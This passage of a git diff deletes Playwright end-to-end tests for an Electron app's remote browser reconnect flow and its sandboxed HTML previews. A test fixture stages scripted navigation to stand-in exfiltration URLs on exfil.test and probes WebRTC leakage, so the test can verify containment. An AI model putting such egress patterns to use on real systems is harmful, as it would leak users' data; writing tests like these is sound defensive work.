webAddressInput.press('Enter') - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'the typed path never converted the web tab' } - ) - .toBe(1) - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { timeout: 60_000 }) - .toContain(FIXTURE_HEADING) - - // Selecting the document identity must activate its existing tab, preserving its grant. - const docTabsBefore = (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces - await openPairedWebTab(page, marker.movedUrl) - // Wait for the old converted pane to unmount or strict input locators see both. - await expect - .poll(() => page.locator('[data-browser-chrome-address-slot] input').count(), { - timeout: 30_000, - message: 'the web tab address input never settled to one' - }) - .toBe(1) - const secondInput = page.locator('[data-browser-chrome-address-slot] input') - // Retry expansion if the freshly loaded guest steals focus and dismisses the dropdown. - await expect - .poll( - async () => { - await secondInput.click() - return secondInput.getAttribute('aria-expanded') - }, - { timeout: 30_000, message: 'the suggestion dropdown never opened' } - ) - .toBe('true') - await secondInput.pressSequentially('Convergence', { delay: 40 }) - // Scope to the suggestion popover so the existing strip title cannot satisfy the locator. - const docSuggestion = page - .locator('[data-slot="popover-content"]') - .getByText(FIXTURE_TITLE, { exact: false }) - .first() - await expect(docSuggestion).toBeVisible({ timeout: 10_000 }) - await docSuggestion.click() - await expect - .poll( - async () => { - const inventory = await readPairedHtmlPreviewInventory(page, inventoryArgs) - const activeWorkspaceId = await page.evaluate( - (targetWorktreeId) => - window.__store?.getState().activeBrowserTabIdByWorktree[targetWorktreeId] ?? null, - worktreeId - ) - return { docTabs: inventory.docWorkspaces.length, activeWorkspaceId } - }, - { timeout: 30_000, message: 'selecting the doc suggestion did not activate the doc tab' } - ) - .toEqual({ - docTabs: docTabsBefore.length, - activeWorkspaceId: docTabsBefore[0]?.workspaceId ?? null - }) - } finally { - await marker.close() - await prepared?.client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-browser-stream-reconnect.spec.ts b/tests/e2e/paired-remote-browser-stream-reconnect.spec.ts deleted file mode 100644 index 19d6980fd04..00000000000 --- a/tests/e2e/paired-remote-browser-stream-reconnect.spec.ts +++ /dev/null @@ -1,239 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { - focusMaterializedRemoteBrowserPane, - waitForMaterializedRemoteBrowserPane -} from './helpers/materialized-remote-browser-pane' -import { expect, test } from './helpers/orca-app' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -// Drop the real runtime connection; require bounded failed stream retries followed by a persistent Reconnect control. - -async function callEnvironment( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -test('bounds remote browser stream retries, then offers reconnect', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const host: HeadlessPairedRuntimeHost = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, 'Remote browser reconnect') - const page = client.page - - await expect - .poll(() => page.evaluate(() => window.__store?.getState().allWorktrees().length ?? 0), { - timeout: 60_000, - message: 'paired client never saw a host worktree' - }) - .toBeGreaterThan(0) - const worktreeId = await page.evaluate( - () => window.__store?.getState().allWorktrees()[0]?.id ?? null - ) - if (!worktreeId) { - throw new Error('paired client did not receive the host worktree') - } - - const created = await callEnvironment<{ browserPageId: string }>( - page, - client.environmentId, - 'browser.tabCreate', - { worktree: `id:${worktreeId}`, url: 'about:blank', activate: true } - ) - // Use the mirrored tab; a second pane creates competing subscribers on a connection that keeps only the newest. - await focusMaterializedRemoteBrowserPane(page, { - environmentId: client.environmentId, - remotePageId: created.browserPageId, - worktreeId - }) - - const remoteFrame = page.getByTestId('remote-browser-frame').first() - await expect(remoteFrame).toBeVisible({ timeout: 60_000 }) - - const errorToast = page.getByTestId('remote-browser-stream-error') - // Match Reconnect exactly so Browsing on Remote browser reconnect cannot satisfy the locator. - const reconnectButton = page.getByRole('button', { name: 'Reconnect', exact: true }) - await expect(reconnectButton).toHaveCount(0) - - // Seed a pane-owned URL notice before drop; status change must replace it with the real connection failure. - const remotePane = page - .getByTestId('remote-browser-pane') - .filter({ has: page.getByTestId('remote-browser-frame') }) - const addressBar = remotePane.locator('[data-orca-browser-address-bar="true"]') - await addressBar.click() - await addressBar.fill('about:config') - await addressBar.press('Enter') - await expect(errorToast).toContainText('Enter a valid http(s) or localhost URL.') - - await page.evaluate(async (selector) => { - await window.api.runtimeEnvironments.disconnect({ selector }) - }, client.environmentId) - - // Mid-budget: the pane is retrying, so it must NOT be offering reconnect yet. - await expect(errorToast).toBeVisible({ timeout: 60_000 }) - // The pane must speak for itself here, not echo the transport's log string. - await expect(errorToast).toContainText('Lost connection to the remote server.') - await expect(errorToast).not.toContainText('Runtime environment') - await expect(reconnectButton).toHaveCount(0) - - // Budget spans 500ms+1s+2s+4s+8s; once spent the control appears and retrying stops. - await expect(reconnectButton).toBeVisible({ timeout: 90_000 }) - await page.screenshot({ - path: testInfo.outputPath('remote-browser-reconnect.png'), - fullPage: false - }) - await testInfo.attach('reconnect-ui', { - path: testInfo.outputPath('remote-browser-reconnect.png'), - contentType: 'image/png' - }) - - // It must stay put rather than quietly resuming a retry loop. - await page.waitForTimeout(15_000) - await expect(reconnectButton).toBeVisible() - - // Clicking the frozen frame must not clear the only recovery control or expose raw transport errors. - await remoteFrame.click({ position: { x: 40, y: 40 }, force: true }) - await page.waitForTimeout(1_000) - await expect(reconnectButton).toBeVisible() - await expect(errorToast).not.toContainText('Runtime environment') - - await expect - .poll( - () => - page.evaluate(async (selector) => { - const response = await window.api.runtimeEnvironments.connect({ selector }) - return response.ok - }, client!.environmentId), - { timeout: 60_000, message: 'paired client never reconnected to the host runtime' } - ) - .toBe(true) - - // Require a new frame object URL; visibility alone also passes on the deliberately retained frozen image. - const frozenFrameSrc = await remoteFrame.getAttribute('src') - await reconnectButton.click() - await expect(errorToast).toHaveCount(0, { timeout: 60_000 }) - await expect(remoteFrame).toBeVisible({ timeout: 60_000 }) - await expect - .poll(() => remoteFrame.getAttribute('src'), { - timeout: 60_000, - message: 'remote stream never delivered a new frame after reconnect' - }) - .not.toBe(frozenFrameSrc) - } finally { - await client?.dispose() - await host.dispose() - } -}) - -// Cover initial-open failure too, where no prior subscription exists to restart. -test('offers reconnect when the remote browser never opens at all', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const host: HeadlessPairedRuntimeHost = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, 'Remote browser cold failure') - const page = client.page - - await expect - .poll(() => page.evaluate(() => window.__store?.getState().allWorktrees().length ?? 0), { - timeout: 60_000, - message: 'paired client never saw a host worktree' - }) - .toBeGreaterThan(0) - const worktreeId = await page.evaluate( - () => window.__store?.getState().allWorktrees()[0]?.id ?? null - ) - if (!worktreeId) { - throw new Error('paired client did not receive the host worktree') - } - - const created = await callEnvironment<{ browserPageId: string }>( - page, - client.environmentId, - 'browser.tabCreate', - { worktree: `id:${worktreeId}`, url: 'about:blank', activate: true } - ) - - // Let the mirrored row arrive without surfacing it so first pane mount happens after disconnect. - const target = { - environmentId: client.environmentId, - remotePageId: created.browserPageId, - worktreeId - } - await waitForMaterializedRemoteBrowserPane(page, target) - - // Drop before mount so the initial open has no existing stream to recover. - await page.evaluate(async (selector) => { - await window.api.runtimeEnvironments.disconnect({ selector }) - }, client.environmentId) - await focusMaterializedRemoteBrowserPane(page, target) - - const errorToast = page.getByTestId('remote-browser-stream-error') - // exact: true — see the first test: 'Reconnect' is a substring of the egress indicator's label. - const reconnectButton = page.getByRole('button', { name: 'Reconnect', exact: true }) - await expect(errorToast).toBeVisible({ timeout: 90_000 }) - await expect(errorToast).toContainText('Cannot reach the remote server.') - await expect(errorToast).not.toContainText('Runtime environment') - await expect(reconnectButton).toBeVisible({ timeout: 90_000 }) - await page.screenshot({ - path: testInfo.outputPath('remote-browser-cold-failure.png'), - fullPage: false - }) - await testInfo.attach('reconnect-ui-cold-failure', { - path: testInfo.outputPath('remote-browser-cold-failure.png'), - contentType: 'image/png' - }) - - await expect - .poll( - () => - page.evaluate(async (selector) => { - const response = await window.api.runtimeEnvironments.connect({ selector }) - return response.ok - }, client!.environmentId), - { timeout: 60_000, message: 'paired client never reconnected to the host runtime' } - ) - .toBe(true) - - await reconnectButton.click() - await expect(errorToast).toHaveCount(0, { timeout: 60_000 }) - await expect(page.getByTestId('remote-browser-frame').first()).toBeVisible({ - timeout: 60_000 - }) - } finally { - await client?.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/paired-remote-html-preview-local-render.spec.ts b/tests/e2e/paired-remote-html-preview-local-render.spec.ts deleted file mode 100644 index c8fa19f8d8e..00000000000 --- a/tests/e2e/paired-remote-html-preview-local-render.spec.ts +++ /dev/null @@ -1,808 +0,0 @@ -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Locator, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { startClientHostedMarkerFixture } from './helpers/client-hosted-browser-fixture' -import { - readClientBrowserPageUrls, - readDocPreviewElementCenter, - readDocPreviewGuestRects, - readDocPreviewGuestUrl, - readDocPreviewRenderedText, - readPairedHtmlPreviewInventory, - requireSingleDocWorkspace -} from './helpers/paired-html-preview-inventory' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const FIXTURE_NAME = 'paired-html-focus.html' -const FIXTURE_HEADING = 'paired html preview' -/** The document names its own tab, exactly as a URL page's `` does. */ -const FIXTURE_TITLE = 'Paired Preview Document Title' -const RESTORE_FIXTURE_NAME = 'paired-html-restore.html' -const RESTORE_FIXTURE_HEADING = 'preview survives a relaunch' -const RESTORE_FIXTURE_TITLE = 'Restored Preview Document' -const EXTERNAL_LINK_URL = 'https://example.com/from-preview' -/** Stands in for the exfiltration a previewed document would attempt on its own, with no one at the keyboard. */ -const SCRIPTED_EGRESS_URL = 'https://exfil.test/?d=scripted' -/** The same exfiltration, but riding a press the reader really made somewhere else in the document. */ -const POST_INPUT_EGRESS_URL = 'https://exfil.test/?d=after-input' -const BLANK_PAGE_URL = 'data:text/html,' -const SCOPED_FIXTURE_NAME = 'scoped-preview.html' -const SCOPED_FIXTURE_HEADING = 'scoped preview rendered' -const SCOPED_ASSET_TEXT = 'approved sibling asset loaded' - -type PreparedPairedClient = { - client: PairedElectronClient - worktreeId: string - worktreePath: string -} - -async function preparePairedClient( - offer: RuntimeDesktopPairingOffer, - testInfo: TestInfo, - name: string, - testRepoPath: string, - options: { reuseUserDataDir?: string } = {} -): Promise<PreparedPairedClient> { - const client = await launchPairedElectronClient(offer, testInfo, name, options) - try { - await expect - .poll(() => findWorktreeId(client.page, testRepoPath), { - timeout: 120_000, - message: 'paired client never received the host worktree' - }) - .not.toBeNull() - const worktree = await client.page.evaluate((repoPath) => { - const match = window.__store - ?.getState() - .allWorktrees() - .find((candidate) => candidate.path === repoPath) - return match ? { id: match.id, path: match.path } : null - }, testRepoPath) - if (!worktree) { - throw new Error('paired client worktree disappeared after discovery') - } - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId: worktree.id } - ) - return { client, worktreeId: worktree.id, worktreePath: worktree.path } - } catch (error) { - await client.dispose() - throw error - } -} - -async function findWorktreeId(page: Page, repoPath: string): Promise<string | null> { - return page.evaluate( - (candidatePath) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === candidatePath)?.id ?? null, - repoPath - ) -} - -async function revealPreviewAction(page: Page, fixtureName: string): Promise<Locator> { - await openFileExplorer(page) - const fixtureRow = page.locator('[data-file-explorer-row]').filter({ hasText: fixtureName }) - await expect(fixtureRow).toBeVisible({ timeout: 30_000 }) - await fixtureRow.click() - const openPreview = page.getByRole('button', { name: 'Preview', exact: true }) - await expect(openPreview).toBeVisible({ timeout: 30_000 }) - return openPreview -} - -async function focusBrowserWorkspace( - page: Page, - worktreeId: string, - workspaceId: string -): Promise<void> { - await page.evaluate( - ({ workspaceId, worktreeId }) => { - window.__store - ?.getState() - .focusBrowserTabInWorktree(worktreeId, workspaceId, { surfacePane: true }) - }, - { workspaceId, worktreeId } - ) -} - -// STA-5557: render workspace-document previews client-side over orca-preview://. -// Require exactly one named, blank-URL document workspace on the client and no page or grant in host inventory. -test('renders a paired HTML doc as a document browser tab while the host gains no browser page', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - writeFileSync( - path.join(testRepoPath, FIXTURE_NAME), - `<!doctype html><html><head><title>${FIXTURE_TITLE}` + - `

${FIXTURE_HEADING}

` + - `

external link

` + - `` + - // Count document presses to distinguish missed anchors from routing refusal. - `` + - `
pending
` + - // Probe inside the inline document script; harness executeJavaScript bypasses its permissions. - // Require zero ICE candidates: constructor success is allowed, but STUN gathering can leak without signaling. - `` + - `
idle
` + - `
idle
` + - // Attempt unattended navigation after grant reads; stable browser counts must prove no exfiltration route. - // Also attempt navigation during unrelated real input so a recent-input heuristic cannot authorize it. - // Install listeners before location.href can stop parsing the remaining document. - `` + - `\n` - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const marker = await startClientHostedMarkerFixture() - let prepared: PreparedPairedClient | null = null - try { - prepared = await preparePairedClient(offer, testInfo, 'Remote HTML preview', testRepoPath) - const { client, worktreeId, worktreePath } = prepared - const page = client.page - const docFilePath = path.join(worktreePath, FIXTURE_NAME) - const inventoryArgs = { environmentId: client.environmentId, docFilePath, worktreeId } - - const openPreview = await revealPreviewAction(page, FIXTURE_NAME) - const sourceEditor = await page.evaluate((targetWorktreeId) => { - const state = window.__store?.getState() - const groupId = state?.activeGroupIdByWorktree[targetWorktreeId] - const group = (state?.groupsByWorktree[targetWorktreeId] ?? []).find( - (candidate) => candidate.id === groupId - ) - const tab = (state?.unifiedTabsByWorktree[targetWorktreeId] ?? []).find( - (candidate) => candidate.id === group?.activeTabId && candidate.contentType === 'editor' - ) - return groupId && tab ? { groupId, tabId: tab.id } : null - }, worktreeId) - if (!sourceEditor) { - throw new Error('paired client editor had no source identity before the preview') - } - const sourceGroupId = sourceEditor.groupId - - await expect - .poll(() => readPairedHtmlPreviewInventory(page, inventoryArgs), { - timeout: 30_000, - message: 'host tab baseline was never successfully observed' - }) - .toMatchObject({ hostResponseOk: true, docWorkspaces: [] }) - const baseline = await readPairedHtmlPreviewInventory(page, inventoryArgs) - - await openPreview.click() - - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'the document browser tab never materialized' } - ) - .toBe(1) - - // Require a rendered document before interpreting absent host records. - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { - timeout: 60_000, - message: 'the preview guest never rendered the workspace document' - }) - .toBe(FIXTURE_HEADING) - const firstGuestUrl = await readDocPreviewGuestUrl(page) - expect(firstGuestUrl).toMatch(/^orca-preview:\/\//) - // Check live ICE gathering because the main-process guest fence is absent from document headers. - await expect - .poll(() => readDocPreviewRenderedText(page, '#webrtc-probe'), { - timeout: 30_000, - message: 'the preview document never reported its ICE gathering result' - }) - .toBe('candidates=0') - - // Require the document’s attempted egress before treating unchanged counts as containment. - await expect - .poll(() => readDocPreviewRenderedText(page, '#scripted-egress'), { - timeout: 30_000, - message: 'the preview document never attempted its unattended egress' - }) - .toBe('attempted') - - const afterPreview = await readPairedHtmlPreviewInventory(page, inventoryArgs) - const previewRow = requireSingleDocWorkspace(afterPreview) - // Require the document’s file identity/title and blank URL in exactly one client workspace. - expect(afterPreview.clientBrowserWorkspaceCount).toBe(baseline.clientBrowserWorkspaceCount + 1) - expect({ - pageUrl: previewRow.pageUrl, - title: previewRow.title, - workspaceDocFilePath: previewRow.workspaceDocFilePath, - workspaceUrl: previewRow.workspaceUrl - }).toEqual({ - pageUrl: BLANK_PAGE_URL, - title: FIXTURE_TITLE, - workspaceDocFilePath: docFilePath, - workspaceUrl: BLANK_PAGE_URL - }) - // Reject legacy html-preview:: editor rows resurrected by restore/actions. - expect(afterPreview.htmlPreviewEditorFileIds).toEqual([]) - expect(previewRow.groupId).toBe(sourceGroupId) - // The heading follows both unattended attempts; unchanged host state proves neither opened a page or published the grant. - expect(afterPreview.hostBrowserPages).toEqual(baseline.hostBrowserPages) - expect(afterPreview.hostSessionBrowserTabs).toEqual(baseline.hostSessionBrowserTabs) - - // STA-5681: the document chip opens the editable address bar while retaining file identity. - const pathChip = page.getByRole('button', { name: 'Edit address', exact: true }) - await expect(pathChip).toBeVisible({ timeout: 30_000 }) - await expect(pathChip).toContainText(FIXTURE_NAME) - // Hide the identity row whole below 24rem content width; otherwise keep its badge inside the chip. - const hostBadge = pathChip.locator('[data-slot="badge"]') - const pathChipBox = await pathChip.boundingBox() - expect(pathChipBox).not.toBeNull() - if (await hostBadge.isVisible()) { - const hostBadgeBox = await hostBadge.boundingBox() - expect(hostBadgeBox).not.toBeNull() - expect((hostBadgeBox?.x ?? 0) + (hostBadgeBox?.width ?? 0)).toBeLessThanOrEqual( - (pathChipBox?.x ?? 0) + (pathChipBox?.width ?? 0) + 0.5 - ) - } else { - // 26rem border-box width clears the 24rem content threshold plus padding. - expect(pathChipBox?.width ?? 0).toBeLessThan(416) - } - - await expect(page.locator(`[data-tab-group-body-id="${sourceGroupId}"]`)).toBeVisible() - await expect(page.locator(`[data-tab-id="${sourceEditor.tabId}"]`)).toBeVisible() - - // Preview opens as the active tab in the source editor's group, without splitting. - await expect - .poll( - () => - page.evaluate((targetWorktreeId) => { - const state = window.__store?.getState() - const groups = state?.groupsByWorktree[targetWorktreeId] ?? [] - const activeGroup = groups.find( - (group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId] - ) - return { - groupCount: groups.length, - activeGroupId: activeGroup?.id ?? null, - activeTabId: activeGroup?.activeTabId ?? null, - activeTabType: state?.activeTabTypeByWorktree[targetWorktreeId] ?? null - } - }, worktreeId), - { timeout: 30_000, message: 'preview placement never settled' } - ) - .toEqual({ - groupCount: 1, - activeGroupId: sourceGroupId, - activeTabId: previewRow.unifiedTabId, - activeTabType: 'browser' - }) - - const terminalTabId = await page.evaluate((targetWorktreeId) => { - const state = window.__store?.getState() - return state?.tabsByWorktree[targetWorktreeId]?.[0]?.id ?? null - }, worktreeId) - if (!terminalTabId) { - throw new Error('paired client lost its terminal tab') - } - await page.locator(`[data-tab-id="${terminalTabId}"]`).click() - await expect - .poll( - () => - page.evaluate((targetWorktreeId) => { - const state = window.__store?.getState() - return state?.activeTabTypeByWorktree[targetWorktreeId] ?? null - }, worktreeId), - { message: 'terminal tab never became active before returning to the preview' } - ) - .toBe('terminal') - - // Browser strip rows/X use workspace ids, not unified tab ids. - const previewTab = page.locator(`[data-tab-id="${previewRow.workspaceId}"]`) - await previewTab.click() - await expect - .poll( - () => - page.evaluate( - ({ previewTabId, worktreeId: targetWorktreeId }) => { - const state = window.__store?.getState() - const activeGroup = (state?.groupsByWorktree[targetWorktreeId] ?? []).find( - (group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId] - ) - return activeGroup?.activeTabId === previewTabId - }, - { previewTabId: previewRow.unifiedTabId, worktreeId } - ), - { timeout: 30_000, message: 'clicking the preview tab did not reactivate it' } - ) - .toBe(true) - expect(await readDocPreviewRenderedText(page, 'h1')).toBe(FIXTURE_HEADING) - - // Positive control: this same host registry must contain an ordinary client URL page. - await page.evaluate( - async ({ url, groupId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('paired client had no store to open a browser tab in') - } - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, - { url: marker.markerUrl, groupId: sourceGroupId } - ) - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).hostBrowserPages.filter( - (hostPage) => hostPage.url.startsWith(marker.origin) - ).length, - { - timeout: 60_000, - message: 'a plain URL browser tab from this client never reached the host page registry' - } - ) - .toBe(1) - const withMarker = await readPairedHtmlPreviewInventory(page, inventoryArgs) - // Positive control: this host snapshot must project an ordinary published browser tab. - expect( - withMarker.hostSessionBrowserTabs.filter((tab) => tab.url.startsWith(marker.origin)) - ).toHaveLength(1) - // Nothing the host now holds names the preview: not its document, and not the grant URL the - // document is served over. - expect( - withMarker.hostBrowserPages.filter( - (hostPage) => - hostPage.url.includes('orca-preview:') || - hostPage.url.includes(FIXTURE_NAME) || - hostPage.title === FIXTURE_TITLE - ) - ).toEqual([]) - expect(withMarker.docWorkspaces).toHaveLength(1) - - // Close the URL tab’s offscreen window before trusted-click checks, which read the frontmost contents; require its host removal too. - await page.evaluate( - ({ origin, worktreeId: targetWorktreeId }) => { - const state = window.__store?.getState() - const workspace = (state?.browserTabsByWorktree[targetWorktreeId] ?? []).find((tab) => - (state?.browserPagesByWorkspace[tab.id] ?? []).some((browserPage) => - browserPage.url.startsWith(origin) - ) - ) - if (!state || !workspace) { - throw new Error('paired client lost the URL control tab before closing it') - } - state.closeBrowserTab(workspace.id) - }, - { origin: marker.origin, worktreeId } - ) - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).hostBrowserPages.length, - { timeout: 60_000, message: 'closing the URL tab never reached the host page registry' } - ) - .toBe(baseline.hostBrowserPages.length) - - await previewTab.hover() - await previewTab.locator('button').click() - await expect - .poll( - async () => { - const closed = await readPairedHtmlPreviewInventory(page, inventoryArgs) - return { - docWorkspaces: closed.docWorkspaces.length, - hostBrowserPages: closed.hostBrowserPages.length, - sourceGroupPresent: await page.evaluate( - ({ groupId, worktreeId: targetWorktreeId }) => - (window.__store?.getState()?.groupsByWorktree[targetWorktreeId] ?? []).some( - (group) => group.id === groupId - ), - { groupId: sourceGroupId, worktreeId } - ) - } - }, - { timeout: 30_000, message: 'closing the preview did not converge' } - ) - .toEqual({ - docWorkspaces: 0, - hostBrowserPages: baseline.hostBrowserPages.length, - sourceGroupPresent: true - }) - await expect(previewTab).toHaveCount(0) - await expect(page.locator(`[data-tab-id="${terminalTabId}"]`)).toBeVisible() - // Reselect the editor so it mounts and proves preview close left it usable. - await page.locator(`[data-tab-id="${sourceEditor.tabId}"]`).click() - await expect( - page.locator(`[data-tab-group-body-id="${sourceGroupId}"] .monaco-editor`) - ).toBeVisible({ timeout: 30_000 }) - - // Run trusted mouse routing last because it intentionally creates a tab, outside the earlier no-new-browser oracle. - const reopenPreview = await revealPreviewAction(page, FIXTURE_NAME) - await reopenPreview.click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'the preview never came back after being closed' } - ) - .toBe(1) - // Select the preview to establish a pane rect before clicking its guest. - const reopenedRow = requireSingleDocWorkspace( - await readPairedHtmlPreviewInventory(page, inventoryArgs) - ) - await focusBrowserWorkspace(page, worktreeId, reopenedRow.workspaceId) - await page.locator(`[data-tab-id="${reopenedRow.workspaceId}"]`).click() - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { - timeout: 60_000, - message: 'the reopened preview never rendered before the external link click' - }) - .toBe(FIXTURE_HEADING) - // Require one laid-out guest so stale/hidden panes cannot supply unusable rectangles. - const guestRects = await readDocPreviewGuestRects(page) - expect(guestRects).toHaveLength(1) - expect(guestRects[0]?.width).toBeGreaterThan(0) - expect(guestRects[0]?.hiddenAncestor).toBe(false) - // Poll until the guest’s own hit test confirms the link, avoiding stale layout coordinates. - await expect - .poll(() => readDocPreviewElementCenter(page, '#external'), { - timeout: 30_000, - message: 'the external link never settled at a clickable point in the preview guest' - }) - .not.toBeNull() - // Confirmed preview links honor the in-app preference; the default opens the system browser. - await page.evaluate(() => window.__store?.getState().updateSettings({ openLinksInApp: true })) - // Take the baseline before the heading press so it cannot absorb an input-driven escape. - const linkBaseline = { - ...(await readPairedHtmlPreviewInventory(page, inventoryArgs)), - clientPageUrls: await readClientBrowserPageUrls(page) - } - // Focus the guest via its heading before the real link click. - // Retry until guest hit testing registers; software compositing can initially deliver presses to the embedder webview. - // Require the document’s real-input escape attempt before checking containment. - await expect - .poll( - async () => { - if ((await readDocPreviewRenderedText(page, '#post-input-egress')) !== 'attempted') { - const headingPoint = await readDocPreviewElementCenter(page, 'h1') - if (headingPoint) { - await page.mouse.click(headingPoint.x, headingPoint.y) - } - } - return readDocPreviewRenderedText(page, '#post-input-egress') - }, - { - timeout: 30_000, - intervals: [1_000], - message: 'the preview document never attempted its post-input egress' - } - ) - .toBe('attempted') - const afterGenuineInput = await readPairedHtmlPreviewInventory(page, inventoryArgs) - expect({ - clientBrowserWorkspaceCountAllWorktrees: - afterGenuineInput.clientBrowserWorkspaceCountAllWorktrees, - hostBrowserPages: afterGenuineInput.hostBrowserPages.length, - clientPageUrls: await readClientBrowserPageUrls(page) - }).toEqual({ - clientBrowserWorkspaceCountAllWorktrees: linkBaseline.clientBrowserWorkspaceCountAllWorktrees, - hostBrowserPages: linkBaseline.hostBrowserPages.length, - clientPageUrls: linkBaseline.clientPageUrls - }) - const guestFocus = await page.evaluate(() => { - const active = document.activeElement - const guest = document.querySelector('webview[src^="orca-preview://"]') as HTMLElement | null - const before = active?.tagName ?? null - guest?.focus() - return { before, after: document.activeElement?.tagName ?? null } - }) - console.log(`[preview-e2e] before-focus ${JSON.stringify(guestFocus)}`) - const confirmation = page.getByRole('dialog', { name: 'Open link to example.com?' }) - const confirmationTitle = confirmation.getByRole('heading', { - name: 'Open link to example.com?' - }) - await expect - .poll( - async () => { - if (!(await confirmationTitle.isVisible())) { - const point = await readDocPreviewElementCenter(page, '#external') - if (point) { - await page.mouse.click(point.x, point.y) - } - } - return confirmationTitle.isVisible() - }, - { - timeout: 60_000, - intervals: [2_000], - message: 'a target=_blank click never showed its destination confirmation' - } - ) - .toBe(true) - await expect(confirmation.getByText(EXTERNAL_LINK_URL, { exact: true })).toBeVisible() - await confirmation.getByRole('button', { name: 'Cancel', exact: true }).click() - await expect(confirmationTitle).not.toBeVisible() - const afterCancel = await readPairedHtmlPreviewInventory(page, inventoryArgs) - expect({ - clientPageUrls: await readClientBrowserPageUrls(page), - browserCount: afterCancel.clientBrowserWorkspaceCountAllWorktrees - }).toEqual({ - clientPageUrls: linkBaseline.clientPageUrls, - browserCount: linkBaseline.clientBrowserWorkspaceCountAllWorktrees - }) - - try { - const point = await readDocPreviewElementCenter(page, '#external') - if (!point) { - throw new Error('external link lost its clickable point after cancellation') - } - await page.mouse.click(point.x, point.y) - await expect(confirmationTitle).toBeVisible({ timeout: 30_000 }) - await confirmation.getByRole('button', { name: 'Open link', exact: true }).click() - await expect - .poll( - async () => { - const opened = await readPairedHtmlPreviewInventory(page, inventoryArgs) - return { - openedExternalLink: (await readClientBrowserPageUrls(page)).includes( - EXTERNAL_LINK_URL - ), - docWorkspaces: opened.docWorkspaces.length, - linkClicks: await readDocPreviewRenderedText(page, '#link-clicks'), - openedTab: - opened.clientBrowserWorkspaceCountAllWorktrees > - linkBaseline.clientBrowserWorkspaceCountAllWorktrees - } - }, - { - timeout: 60_000, - intervals: [2_000], - message: 'a confirmed preview link never opened an Orca browser tab' - } - ) - .toMatchObject({ - openedTab: true, - // Opening an external link must leave the preview document intact. - docWorkspaces: 1, - openedExternalLink: true - }) - } catch (error) { - throw new Error( - `${String(error)} :: ${JSON.stringify({ linkClicks: await readDocPreviewRenderedText(page, '#link-clicks'), point: await readDocPreviewElementCenter(page, '#external'), rects: await readDocPreviewGuestRects(page) })}` - ) - } - } finally { - await prepared?.client.dispose() - await marker.close() - } -}) - -test('asks before a paired preview reads a sibling directory', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const docsDirectory = path.join(testRepoPath, 'preview-docs') - const assetsDirectory = path.join(testRepoPath, 'preview-assets') - mkdirSync(docsDirectory, { recursive: true }) - mkdirSync(assetsDirectory, { recursive: true }) - writeFileSync( - path.join(docsDirectory, SCOPED_FIXTURE_NAME), - `Scoped Preview` + - `

${SCOPED_FIXTURE_HEADING}

blocked
